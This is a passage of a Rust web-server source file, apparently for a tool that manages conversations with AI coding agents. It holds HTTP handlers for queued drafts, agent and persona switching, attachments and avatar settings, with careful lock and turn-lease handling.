9053                    return Err(ApiError::conflict("there is no queued draft to resume"));
9054                }
9055                let (cfg, _) = Config::discover(&talk.repo, None)?;
9056                Ok((talk, cfg))
9057            })
9058            .await?
9059        };
9060        let view = TalkView::new(talk.clone(), true, &ui);
9061        let talks = ui.talks.clone();
9062        #[cfg(not(test))]
9063        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9064        #[cfg(test)]
9065        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9066        Ok((StatusCode::ACCEPTED, Json(view)))
9067    })
9068    .await
9069}
9070
9071/// Hand off an admitted draft while retaining the talk lease until its
9072/// detached startup reservation is durable.
9073#[cfg(not(test))]
9074async fn detach_talk_turn(
9075    _talk: Talk,
9076    talks: Talks,
9077    _cfg: Config,
9078    id: String,
9079    turn: TalkTurnGuard,
9080) -> ApiResult<()> {
9081    let launched = crate::consult::spawn_turn(&talks, &id).await;
9082    drop(turn);
9083    launched.map(|_| ()).map_err(ApiError::from)
9084}
9085
9086#[cfg(test)]
9087async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9088    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9089}
9090
9091/// A settings response must not report idle while its claim is still held.
9092/// Wait until the first drain either releases the claim or promotes a draft.
9093/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9094async fn settle_settings_turn(
9095    talk: Talk,
9096    talks: Talks,
9097    cfg: Config,
9098    id: String,
9099    turn: TalkTurnGuard,
9100    observed: u64,
9101) -> bool {
9102    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9103        let turns = Arc::clone(&turn.turns);
9104        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9105        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9106            // Release under the arrival lock; a later `/say` takes its own claim.
9107            turn.release(&mut live);
9108            return false;
9109        }
9110    }
9111    let (started, settled) = tokio::sync::oneshot::channel();
9112    tokio::spawn(drain_loop_started(
9113        talk,
9114        talks,
9115        cfg,
9116        id,
9117        turn,
9118        Some(started),
9119    ));
9120    settled.await.unwrap_or(false)
9121}
9122
9123#[cfg(not(test))]
9124async fn drain_loop_started(
9125    talk: Talk,
9126    talks: Talks,
9127    _cfg: Config,
9128    id: String,
9129    turn: TalkTurnGuard,
9130    started: Option<tokio::sync::oneshot::Sender<bool>>,
9131) {
9132    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9133    let running = if pending {
9134        match crate::consult::spawn_turn(&talks, &id).await {
9135            Ok(_) => true,
9136            Err(error) => {
9137                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9138                false
9139            }
9140        }
9141    } else {
9142        false
9143    };
9144    drop(turn);
9145    if let Some(started) = started {
9146        let _ = started.send(running);
9147    }
9148}
9149
9150// Existing in-process conversation tests exercise transcript/arrival ordering;
9151// real process-lifetime behavior is covered by the CLI integration tests.
9152#[cfg(test)]
9153async fn drain_loop_started(
9154    mut talk: Talk,
9155    talks: Talks,
9156    cfg: Config,
9157    id: String,
9158    turn: TalkTurnGuard,
9159    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9160) {
9161    let live_set = Arc::clone(&turn.turns);
9162    // `Option` rather than binding `turn` directly to a `_turn` that lives
9163    // for the whole function: releasing it has to happen by calling
9164    // `TalkTurnGuard::release` from inside the locked branch below, which
9165    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9166    // remove the id - correctly, if this loop is ever left some other way -
9167    // but doing it there misses the lock this loop is already holding, which
9168    // is the exact gap `release` exists to close.
9169    let mut turn = Some(turn);
9170    loop {
9171        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9172            // The lease was taken over while a turn ran. Whatever is queued
9173            // stays a draft; running it here would race the new owner.
9174            tracing::warn!("talk {id} lost its turn lease; not draining further");
9175            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9176            if let Some(turn) = turn.take() {
9177                turn.release(&mut live);
9178            }
9179            break;
9180        }
9181        // `talk::drain` takes the store lock and can write/rename the talk
9182        // file. Keep the turn mutex out of that synchronous work: it protects
9183        // every talk's in-memory claim, not this talk's disk operation.
9184        let observed = live_set
9185            .lock()
9186            .unwrap_or_else(PoisonError::into_inner)
9187            .queued
9188            .get(&id)
9189            .copied()
9190            .unwrap_or(0);
9191        let drained = blocking({
9192            let talks = talks.clone();
9193            move || {
9194                let result = talk::drain(&mut talk, &talks);
9195                Ok((talk, result))
9196            }
9197        })
9198        .await;
9199        let (next_talk, result) = match drained {
9200            Ok(drained) => drained,
9201            Err(e) => {
9202                tracing::warn!(
9203                    status = %e.status,
9204                    message = %e.message,
9205                    "talk {id} could not start queued-text drain"
9206                );
9207                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9208                turn.take()
9209                    .expect("held for the whole loop until released here")
9210                    .release(&mut live);
9211                break;
9212            }
9213        };
9214        talk = next_talk;
9215        let drained = match result {
9216            Ok(Some(drained)) => drained,
9217            Ok(None) => {
9218                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9219                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9220                    continue;
9221                }
9222                turn.take()
9223                    .expect("held for the whole loop until released here")
9224                    .release(&mut live);
9225                break;
9226            }
9227            Err(e) => {
9228                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9229                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9230                turn.take()
9231                    .expect("held for the whole loop until released here")
9232                    .release(&mut live);
9233                break;
9234            }
9235        };
9236        if let Some(started) = started.take() {
9237            let _ = started.send(true);
9238        }
9239        let responded = match turn.as_ref() {
9240            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9241            None => Err(anyhow::anyhow!("the turn guard was released")),
9242        };
9243        if let Err(e) = responded {
9244            tracing::warn!("talk {id} turn failed: {e:#}");
9245        }
9246    }
9247    drop(turn);
9248    if let Some(started) = started {
9249        let _ = started.send(false);
9250    }
9251}
9252
9253/// Clear a queued draft only if it remains exactly the one the caller saw.
9254async fn talk_pending_clear(
9255    State(ui): State<Arc<Ui>>,
9256    Path(id): Path<String>,
9257    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9258) -> ApiResult<Json<TalkView>> {
9259    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9260    blocking(move || {
9261        let id = resolve_talk(&ui.talks, &id)?;
9262        let mut talk = ui.talks.get(&id)?;
9263        if !talk.status.open() {
9264            return Err(ApiError::conflict(format!(
9265                "talk {} is {} and takes no more turns",
9266                talk.short(),
9267                talk.status.as_str()
9268            )));
9269        }
9270        if !talk::clear_pending_if_matches(
9271            &mut talk,
9272            &ui.talks,
9273            &body.expected_text,
9274            &body.expected_attachments,
9275        )? {
9276            return Err(ApiError::conflict(
9277                "queued message changed; reload it before clearing",
9278            ));
9279        }
9280        let thinking = ui.is_thinking(&talk.id);
9281        Ok(Json(TalkView::new(talk, thinking, &ui)))
9282    })
9283    .await
9284}
9285
9286/// Atomically edit a queued draft's text while preserving its attachments.
9287/// The snapshot fields make a concurrent queue or drain a conflict rather
9288/// than silently discarding either message.
9289async fn talk_pending_edit(
9290    State(ui): State<Arc<Ui>>,
9291    Path(id): Path<String>,
9292    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9293) -> ApiResult<Json<TalkView>> {
9294    let admission = ui.begin_admission()?;
9295    admitted(admission, async move {
9296        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9297        let id = {
9298            let ui = Arc::clone(&ui);
9299            blocking(move || resolve_talk(&ui.talks, &id)).await?
9300        };
9301        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9302            .await
9303            .map_err(ApiError::from)?;
9304        let (view, reclaimed) = blocking({
9305            let ui = Arc::clone(&ui);
9306            move || {
9307                let mut talk = ui.talks.get(&id)?;
9308                if !talk.status.open() {
9309                    return Err(ApiError::conflict(format!(
9310                        "talk {} is {} and takes no more turns",
9311                        talk.short(),
9312                        talk.status.as_str()
9313                    )));
9314                }
9315                if !talk::edit_pending_message(
9316                    &mut talk,
9317                    &ui.talks,
9318                    &body.text,
9319                    &body.expected_text,
9320                    &body.expected_attachments,
9321                    body.message,
9322                )? {
9323                    return Err(ApiError::conflict(
9324                        "queued message changed; reload it before editing",
9325                    ));
9326                }
9327                let claim = match ui.begin_queued_talk_turn(&id)? {
9328                    Some(turn_guard) => {
9329                        let (cfg, _) = Config::discover(&talk.repo, None)?;
9330                        Some((talk.clone(), cfg, id.clone(), turn_guard))
9331                    }
9332                    None => None,
9333                };
9334                let thinking = ui.is_thinking(&id);
9335                Ok((TalkView::new(talk, thinking, &ui), claim))
9336            }
9337        })
9338        .await?;
9339        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9340            let talks = ui.talks.clone();
9341            #[cfg(not(test))]
9342            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9343            #[cfg(test)]
9344            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9345        }
9346        Ok(Json(view))
9347    })
9348    .await
9349}
9350
9351/// The 409 for a talk that takes no more turns.
9352fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9353    if talk.status.open() {
9354        return Ok(());
9355    }
9356    Err(ApiError::conflict(format!(
9357        "talk {} is {} and takes no more turns",
9358        talk.short(),
9359        talk.status.as_str()
9360    )))
9361}
9362
9363/// The body of `POST /api/talks/{id}/agent`.
9364#[derive(Debug, Deserialize)]
9365struct TalkAgent {
9366    agent: String,
9367}
9368
9369/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9370/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9371/// start a turn on the old session between the check and the write; one that
9372/// arrives in that window finds the talk busy and becomes a draft.
9373async fn talk_agent(
9374    State(ui): State<Arc<Ui>>,
9375    Path(id): Path<String>,
9376    Json(body): Json<TalkAgent>,
9377) -> ApiResult<Json<TalkView>> {
9378    let admission = ui.begin_admission()?;
9379    admitted(admission, async move {
9380        let id = {
9381            let ui = Arc::clone(&ui);
9382            blocking(move || resolve_talk(&ui.talks, &id)).await?
9383        };
9384        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9385            .await
9386            .map_err(ApiError::from)?;
9387        let repo = {
9388            let ui = Arc::clone(&ui);
9389            let id = id.clone();
9390            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9391        };
9392        let cfg = config_for(&repo).await?;
9393        // Refuse before taking the claim; see `talk_implementers`.
9394        {
9395            let ui = Arc::clone(&ui);
9396            let id = id.clone();
9397            let cfg = cfg.clone();
9398            let wanted = body.agent.clone();
9399            blocking(move || {
9400                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9401                    .map_err(ApiError::bad_request_from)?;
9402                refuse_if_closed(&ui.talks.get(&id)?)
9403            })
9404            .await?;
9405        }
9406        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9407            return Err(ApiError::conflict(
9408                "a talk turn is running; change the agent once it has answered",
9409            ));
9410        };
9411        let switched = {
9412            let ui = Arc::clone(&ui);
9413            let id = id.clone();
9414            let cfg = cfg.clone();
9415            blocking(move || {
9416                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9417                    .map_err(ApiError::bad_request_from)?;
9418                let mut talk = ui.talks.get(&id)?;
9419                if !talk.status.open() {
9420                    return Err(ApiError::conflict(format!(
9421                        "talk {} is {} and takes no more turns",
9422                        talk.short(),
9423                        talk.status.as_str()
9424                    )));
9425                }
9426                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9427                Ok(talk)
9428            })
9429            .await
9430        };
9431        // A `/say` that landed while this held the claim saw the talk busy and
9432        // left a durable draft, trusting the claim's owner to drain it. So the
9433        // claim is settled whatever the outcome. Release an empty draft's claim
9434        // before replying; queued drafts continue independently of the handler.
9435        let observed = ui.queued_generation(&id);
9436        let fresh = {
9437            let ui = Arc::clone(&ui);
9438            let id = id.clone();
9439            blocking(move || Ok(ui.talks.get(&id)?)).await
9440        };
9441        let draining = match fresh {
9442            Ok(talk) => {
9443                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9444            }
9445            Err(_) => false,
9446        };
9447        let talk = switched?;
9448        Ok(Json(TalkView::new(talk, draining, &ui)))
9449    })
9450    .await
9451}
9452
9453/// The body of `POST /api/talks/{id}/persona`.
9454#[derive(Debug, Deserialize)]
9455struct TalkPersona {
9456    persona: String,
9457}
9458
9459/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9460/// like [`talk_agent`]: the turn guard is held for the change and always handed
9461/// to `drain_loop`, so a draft left meanwhile is not stranded.
9462async fn talk_persona(
9463    State(ui): State<Arc<Ui>>,
9464    Path(id): Path<String>,
9465    Json(body): Json<TalkPersona>,
9466) -> ApiResult<Json<TalkView>> {
9467    let admission = ui.begin_admission()?;
9468    admitted(admission, async move {
9469        let id = {
9470            let ui = Arc::clone(&ui);
9471            blocking(move || resolve_talk(&ui.talks, &id)).await?
9472        };
9473        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9474            .await
9475            .map_err(ApiError::from)?;
9476        let repo = {
9477            let ui = Arc::clone(&ui);
9478            let id = id.clone();
9479            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9480        };
9481        let cfg = config_for(&repo).await?;
9482        // Refuse before taking the claim; see `talk_implementers`.
9483        {
9484            let ui = Arc::clone(&ui);
9485            let id = id.clone();
9486            let cfg = cfg.clone();
9487            let wanted = body.persona.clone();
9488            blocking(move || {
9489                if persona::find(&cfg.talk.personas, &wanted).is_none() {
9490                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9491                }
9492                refuse_if_closed(&ui.talks.get(&id)?)
9493            })
9494            .await?;
9495        }
9496        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9497            return Err(ApiError::conflict(
9498                "a talk turn is running; change the persona once it has answered",
9499            ));
9500        };
9501        let switched = {
9502            let ui = Arc::clone(&ui);
9503            let id = id.clone();
9504            let cfg = cfg.clone();
9505            blocking(move || {
9506                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9507                    return Err(ApiError::bad_request(format!(
9508                        "unknown persona `{}`",
9509                        body.persona
9510                    )));
9511                };
9512                let mut talk = ui.talks.get(&id)?;
9513                if !talk.status.open() {
9514                    return Err(ApiError::conflict(format!(
9515                        "talk {} is {} and takes no more turns",
9516                        talk.short(),
9517                        talk.status.as_str()
9518                    )));
9519                }
9520                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9521                Ok(talk)
9522            })
9523            .await
9524        };
9525        // As in `talk_agent`: settle the claim before replying, even on refusal.
9526        let observed = ui.queued_generation(&id);
9527        let fresh = {
9528            let ui = Arc::clone(&ui);
9529            let id = id.clone();
9530            blocking(move || Ok(ui.talks.get(&id)?)).await
9531        };
9532        let draining = match fresh {
9533            Ok(talk) => {
9534                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9535            }
9536            Err(_) => false,
9537        };
9538        let talk = switched?;
9539        Ok(Json(TalkView::new(talk, draining, &ui)))
9540    })
9541    .await
9542}
9543
9544/// The body of `POST /api/talks/{id}/implementers`.
9545#[derive(Debug, Deserialize)]
9546struct TalkImplementers {
9547    implementers: u8,
9548}
9549
9550/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
9551/// like [`talk_agent`]: the turn guard is held for the change and always handed
9552/// to `drain_loop`, so a draft left meanwhile is not stranded.
9553async fn talk_implementers(
9554    State(ui): State<Arc<Ui>>,
9555    Path(id): Path<String>,
9556    Json(body): Json<TalkImplementers>,
9557) -> ApiResult<Json<TalkView>> {
9558    let admission = ui.begin_admission()?;
9559    admitted(admission, async move {
9560        let id = {
9561            let ui = Arc::clone(&ui);
9562            blocking(move || resolve_talk(&ui.talks, &id)).await?
9563        };
9564        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9565            .await
9566            .map_err(ApiError::from)?;
9567        let repo = {
9568            let ui = Arc::clone(&ui);
9569            let id = id.clone();
9570            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9571        };
9572        let cfg = config_for(&repo).await?;
9573        // Refuse a request that cannot succeed before taking the claim: a claim
9574        // taken for it is handed to `drain_loop`, which holds the talk busy for a
9575        // moment, so a refusal would make the next request see "busy" instead of
9576        // its own answer. The checks after the claim stay the ones that decide.
9577        {
9578            let ui = Arc::clone(&ui);
9579            let id = id.clone();
9580            let cfg = cfg.clone();
9581            let wanted = body.implementers;
9582            blocking(move || {
9583                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9584                refuse_if_closed(&ui.talks.get(&id)?)
9585            })
9586            .await?;
9587        }
9588        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9589            return Err(ApiError::conflict(
9590                "a talk turn is running; change the implementers once it has answered",
9591            ));
9592        };
9593        let switched = {
9594            let ui = Arc::clone(&ui);
9595            let id = id.clone();
9596            let cfg = cfg.clone();
9597            blocking(move || {
9598                let chosen = talk::check_implementers(body.implementers, &cfg)
9599                    .map_err(ApiError::bad_request)?;
9600                let mut talk = ui.talks.get(&id)?;
9601                if !talk.status.open() {
9602                    return Err(ApiError::conflict(format!(
9603                        "talk {} is {} and takes no more turns",
9604                        talk.short(),
9605                        talk.status.as_str()
9606                    )));
9607                }
9608                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9609                Ok(talk)
9610            })
9611            .await
9612        };
9613        // As in `talk_agent`: settle the claim before replying, even on refusal.
9614        let observed = ui.queued_generation(&id);
9615        let fresh = {
9616            let ui = Arc::clone(&ui);
9617            let id = id.clone();
9618            blocking(move || Ok(ui.talks.get(&id)?)).await
9619        };
9620        let draining = match fresh {
9621            Ok(talk) => {
9622                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9623            }
9624            Err(_) => false,
9625        };
9626        let talk = switched?;
9627        Ok(Json(TalkView::new(talk, draining, &ui)))
9628    })
9629    .await
9630}
9631
9632/// `POST /api/talks/{id}/close`.
9633async fn talk_close(
9634    State(ui): State<Arc<Ui>>,
9635    Path(id): Path<String>,
9636) -> ApiResult<Json<TalkView>> {
9637    blocking(move || {
9638        let id = resolve_talk(&ui.talks, &id)?;
9639        let mut talk = ui.talks.get(&id)?;
9640        talk::close(&mut talk, &ui.talks)?;
9641        let thinking = ui.is_thinking(&talk.id);
9642        Ok(Json(TalkView::new(talk, thinking, &ui)))
9643    })
9644    .await
9645}
9646
9647/// `POST /api/talks/{id}/reopen`.
9648async fn talk_reopen(
9649    State(ui): State<Arc<Ui>>,
9650    Path(id): Path<String>,
9651) -> ApiResult<Json<TalkView>> {
9652    blocking(move || {
9653        let id = resolve_talk(&ui.talks, &id)?;
9654        let mut talk = ui.talks.get(&id)?;
9655        talk::reopen(&mut talk, &ui.talks)?;
9656        let thinking = ui.is_thinking(&talk.id);
9657        Ok(Json(TalkView::new(talk, thinking, &ui)))
9658    })
9659    .await
9660}
9661
9662/// `DELETE /api/talks/{id}`.
9663///
9664/// Removes the conversation's record and artifacts outright, unlike
9665/// [`talk_close`] which keeps the record as history. A turn already in
9666/// flight is not refused here the way [`run_delete`] refuses a live run:
9667/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
9668/// under [`Talks::guard`], that the record they are about to write back is
9669/// still there, so a delete racing a turn is safe without this route having
9670/// to know a turn is running at all.
9671async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9672    blocking(move || {
9673        let id = resolve_talk(&ui.talks, &id)?;
9674        ui.talks.remove(&id)?;
9675        Ok(StatusCode::NO_CONTENT)
9676    })
9677    .await
9678}
9679
9680fn talk_ids(root: &FsPath) -> Vec<String> {
9681    std::fs::read_dir(root)
9682        .into_iter()
9683        .flatten()
9684        .flatten()
9685        .filter_map(|e| {
9686            let path = e.path();
9687            if path.extension().is_some_and(|ext| ext == "json") {
9688                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9689            } else {
9690                None
9691            }
9692        })
9693        .collect()
9694}
9695
9696/// Expand an id or short id to exactly one talk id.
9697fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9698    if plain_record_id(id) && store.path_of(id).is_file() {
9699        return Ok(id.to_owned());
9700    }
9701    pick(talk_ids(store.root()), id, "talk")
9702}
9703
9704/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
9705/// future `talk-say`.
9706async fn talk_attachment_post(
9707    State(ui): State<Arc<Ui>>,
9708    Path(id): Path<String>,
9709    headers: HeaderMap,
9710    body: Bytes,
9711) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9712    let mime = validate_attachment(&headers, &body)?;
9713    let name = filename_header(&headers);
9714    let data = body.to_vec();
9715    blocking(move || {
9716        let id = resolve_talk(&ui.talks, &id)?;
9717        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9718        Ok((StatusCode::CREATED, Json(att)))
9719    })
9720    .await
9721}
9722
9723/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
9724/// `<img>` tag in the transcript.
9725async fn talk_attachment_get(
9726    State(ui): State<Arc<Ui>>,
9727    Path((id, att)): Path<(String, String)>,
9728) -> ApiResult<Response> {
9729    blocking(move || {
9730        let id = resolve_talk(&ui.talks, &id)?;
9731        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9732            return Err(ApiError::not_found(format!(
9733                "talk {id} has no attachment `{att}`"
9734            )));
9735        };
9736        Ok(attachment_response(&meta.mime, data))
9737    })
9738    .await
9739}
9740
9741/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
9742/// the icon setting, so changing it changes the URL.
9743fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9744    let id = avatar_encode(&p.id);
9745    format!(
9746        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9747        persona_icon::fingerprint(
9748            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9749        )
9750    )
9751}
9752
9753#[derive(Debug, Default, Deserialize)]
9754struct AvatarQuery {
9755    persona: Option<String>,
9756    /// Set by the page after the first load failed: skip the `icon`.
9757    builtin: Option<String>,
9758}
9759
9760/// Served with every built-in avatar: it is an image, so nothing else may run.
9761const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9762
9763fn builtin_avatar(id: &str) -> Response {
9764    svg_avatar(persona_icon::builtin_svg(id))
9765}
9766
9767async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9768    raster_or_builtin(
9769        read_icon_file(&avatar_setting_path(&ui.home, None))
9770            .filter(|_| q.builtin.is_none())
9771            .as_deref(),
9772        persona_icon::operator_svg(),
9773    )
9774}
9775
9776fn svg_avatar(svg: &'static str) -> Response {
9777    (
9778        [
9779            (header::CONTENT_TYPE, "image/svg+xml"),
9780            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9781            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9782            (header::CACHE_CONTROL, "no-cache"),
9783        ],
9784        svg,
9785    )
9786        .into_response()
9787}
9788
9789fn avatar_encode(value: &str) -> String {
9790    value
9791        .bytes()
9792        .map(|b| {
9793            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9794                char::from(b).to_string()
9795            } else {
9796                format!("%{b:02X}")
9797            }
9798        })
9799        .collect()
9800}
9801
9802// Display-only overrides live outside configuration and conversation records.
9803fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9804    let Some(id) = persona else {
9805        return home.join("avatars/operator.data");
9806    };
9807    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9808    let mut path = home.join("avatars/personas");
9809    for chunk in encoded.as_bytes().chunks(100) {
9810        path.push(std::str::from_utf8(chunk).expect("hex"));
9811    }
9812    path.join("icon.data")
9813}
9814
9815fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9816    match read_icon_file(&avatar_setting_path(home, Some(id))) {
9817        Some(value) if value == "builtin" => Some(String::new()),
9818        Some(value) => Some(value),
9819        None => configured.map(str::to_owned),
9820    }
9821}
9822
9823fn operator_icon_url(home: &FsPath) -> String {
9824    format!(
9825        "/avatars/operator.svg?v={}",
9826        persona_icon::fingerprint(
9827            read_icon_file(&avatar_setting_path(home, None))
9828                .as_deref()
9829                .or(Some(persona_icon::operator_svg()))
9830        )
9831    )
9832}
9833
9834fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9835    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9836        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9837            attachment_response(mime, bytes)
9838        }
9839        _ => svg_avatar(builtin),
9840    };
9841    response
9842        .headers_mut()
9843        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9844    response
9845}
9846
9847#[derive(Default, Deserialize)]
9848struct AvatarSettingsQuery {
9849    repo: Option<PathBuf>,
9850    persona: Option<String>,
9851    builtin: Option<String>,
9852    inherit: Option<String>,
9853}
9854
9855fn avatar_settings_specs(
9856    ui: &Ui,
9857    repo: Option<PathBuf>,
9858) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9859    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9860    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9861        .map(|cfg| cfg.talk.personas)
9862        .unwrap_or_default();
9863    Ok((repo, specs))
9864}
9865
9866fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9867    let Ok(entries) = std::fs::read_dir(path) else {
9868        return;
9869    };
9870    for entry in entries.flatten() {
9871        let name = entry.file_name().to_string_lossy().into_owned();
9872        if name == "icon.data" {
9873            let bytes: Option<Vec<u8>> = prefix
9874                .as_bytes()
9875                .chunks(2)
9876                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9877                .collect();
9878            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9879                out.push(id);
9880            }
9881        } else if name.len() <= 100
9882            && !name.is_empty()
9883            && name.bytes().all(|b| b.is_ascii_hexdigit())
9884            && entry.file_type().is_ok_and(|t| t.is_dir())
9885        {
9886            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9887        }
9888    }
9889}
9890
9891async fn avatar_settings_get(
9892    State(ui): State<Arc<Ui>>,
9893    Query(q): Query<AvatarSettingsQuery>,
9894) -> ApiResult<Json<serde_json::Value>> {
9895    blocking(move || {
9896        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9897        let mut catalog = persona::catalog(&specs);
9898        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9899        let mut saved = Vec::new();
9900        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9901        for id in saved {
9902            if !catalog.iter().any(|p| p.id == id) {
9903                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9904            }
9905        }
9906        let personas: Vec<_> = catalog.iter().map(|p| {
9907            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9908            let override_state = match saved.as_deref() {
9909                Some("builtin") => "builtin",
9910                Some(_) => "custom",
9911                None => "inherit",
9912            };
9913            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9914            serde_json::json!({"id":p.id,"name":p.name,
9915                "override_state":override_state,"has_config_icon":p.icon.is_some(),
9916                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9917                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9918        }).collect();
9919        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9920    }).await
9921}
9922
9923async fn settings_persona_avatar(
9924    State(ui): State<Arc<Ui>>,
9925    Query(q): Query<AvatarSettingsQuery>,
9926) -> ApiResult<Response> {
9927    blocking(move || {
9928        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9929        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9930        let found = persona::find(&specs, id);
9931        let icon =
9932            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9933        Ok(raster_or_builtin(
9934            icon.as_deref().filter(|_| q.builtin.is_none()),
9935            persona_icon::builtin_svg(id),
9936        ))
9937    })
9938    .await
9939}
9940
9941fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9942    if q.persona
9943        .as_ref()
9944        .is_some_and(|p| p.is_empty() || p.len() > 4096)
9945    {
9946        return Err(ApiError::bad_request("invalid persona id"));
9947    }
9948    Ok(())
9949}
9950
9951async fn avatar_settings_put(
9952    State(ui): State<Arc<Ui>>,
9953    Query(q): Query<AvatarSettingsQuery>,
9954    Json(upload): Json<MagiIconUpload>,
9955) -> ApiResult<Json<serde_json::Value>> {
9956    blocking(move || {
9957        validate_avatar_target(&q)?;
9958        save_icon_file(
9959            &avatar_setting_path(&ui.home, q.persona.as_deref()),
9960            &upload.icon,
9961        )
9962        .map_err(ApiError::bad_request_from)?;
9963        Ok(Json(serde_json::json!({"saved":true})))
9964    })
9965    .await
9966}
9967
9968async fn avatar_settings_delete(
9969    State(ui): State<Arc<Ui>>,
9970    Query(q): Query<AvatarSettingsQuery>,
9971) -> ApiResult<Json<serde_json::Value>> {
9972    blocking(move || {
9973        validate_avatar_target(&q)?;
9974        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9975        if q.persona.is_some() && q.inherit.is_none() {
9976            atomic_icon_write(&path, "builtin")?;
9977        } else {
